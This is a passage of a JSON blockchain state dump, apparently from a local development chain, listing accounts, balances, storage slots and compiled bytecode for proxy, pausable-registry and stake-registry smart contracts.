b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec":"0x0000000000000000000000000000000000000000000000000000000000000001","0x295841a49a1089f4b560f91cfbb0133326654dcbb1041861fc5dde96c724a22f":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x00000000000000000000000099bba657f2bbc93c02d617f8ba121cb8fc104acf","0x3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff":"0x0000000000000000000000000000000000000000000000000000000000000001","0xa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49":"0x0000000000000000000000000000000000000000000000000000000000000001","0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5":"0x0000000000000000000000000000000000000000000000000000000000000001","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042","0xcfb339bd1c51c488f6134f4ac63d1594afad827b3401c3fc51ed1da74a8ca14e":"0x000000000de0b6b3a7640000c5a5c42992decbae36851359345fe25997f5c42d"}},"0x959922be3caee4b8cd9a407cc3ac1c251c2007b1":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033","storage":{}},"0x976ea74026e726554db657fa54763abd0c3a0aa9":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x9965507d1a55bcc2695c58ba16fb37d819b0a4dc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x998abeb3e57409262ae5b751f60747921b33613e":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec":"0x0000000000000000000000000000000000000000000000000000000000000001","0x295841a49a1089f4b560f91cfbb0133326654dcbb1041861fc5dde96c724a22f":"0x0000000000000007000000000000000000000000000000000000000000000000","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000008f86403a4de0bb5791fa46b8e795c547942fe4cf","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}},"0x99bba657f2bbc93c02d617f8ba121cb8fc104acf":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d89565b610959565b604051610217929190612e29565b6102b56102b0366004612e4e565b610c15565b6040516102179190612e7a565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4e565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4e565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f85565b610ccd565b61035d610358366004612d89565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc366004613046565b611240565b6040516102179190613098565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130d6565b61152d565b6040516102179190613109565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461315a565b6116ce565b61027f610495366004613184565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d136600461324f565b6118e9565b6102546104e436600461329c565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132d9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b610254610559366004613315565b611ac3565b61041461056c366004612e4e565b611b58565b61025461057f3660046132d9565b611c41565b61027f610592366004613357565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133b4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190613405565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613422565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133b4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561349e565b905060200201602081019061084a91906134b4565b8289898481811061085d5761085d61349e565b90506020020135815481106108745761087461349e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61349e565b90506020020135815481106108f4576108f461349e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61349e565b905060200201602081019061093091906134b4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146109a45760405162461bcd60e51b8152600401610611906134cf565b6000836001600160401b038111156109be576109be612ef4565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612ef4565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61349e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361349e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61349e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190613405565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613422565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133b4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61349e565b602002602001015181548110610ea357610ea361349e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161349e565b602002602001015181548110610f1957610f1961349e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613557565b81548110610f6957610f6961349e565b9060005260206000200183878381518110610f8657610f8661349e565b602002602001015181548110610f9e57610f9e61349e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161356a565b6000828152602081208201600019908101919091550190558154829061101990600190613557565b815481106110295761102961349e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61349e565b6020026020010151815481106110725761107261349e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061356a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461112d5760405162461bcd60e51b8152600401610611906134cf565b6000805b8381101561123657600085858381811061114d5761114d61349e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612ef4565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761349e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61349e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613557565b6114699190613557565b815481106114795761147961349e565b60009182526020909120015463ffffffff16116114d757600161149c8284613557565b6114a69190613557565b8585815181106114b8576114b861349e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61349e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190613405565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613422565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133b4565b6117c283836123f7565b505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461180f5760405162461bcd60e51b8152600401610611906134cf565b60005b818110156118e357600083838381811061182e5761182e61349e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190613405565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613422565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133b4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613557565b81548110611a8c57611a8c61349e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613557565b81548110611bec57611bec61349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61349e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c1614611cea5760405162461bcd60e51b8152600401610611906134cf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91692639004134792611ea1928c9201613580565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135e2565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761349e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561349e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61349e565b6020026020010151611fae919061366d565b611fb89190613684565b611fc290866136a6565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613557565b815481106120fe576120fe61349e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613557565b815481106122b4576122b461349e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374b83398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136c5565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374b83398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136c5565b811015612646578482815181106125895761258961349e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861349e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61349e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661349e565b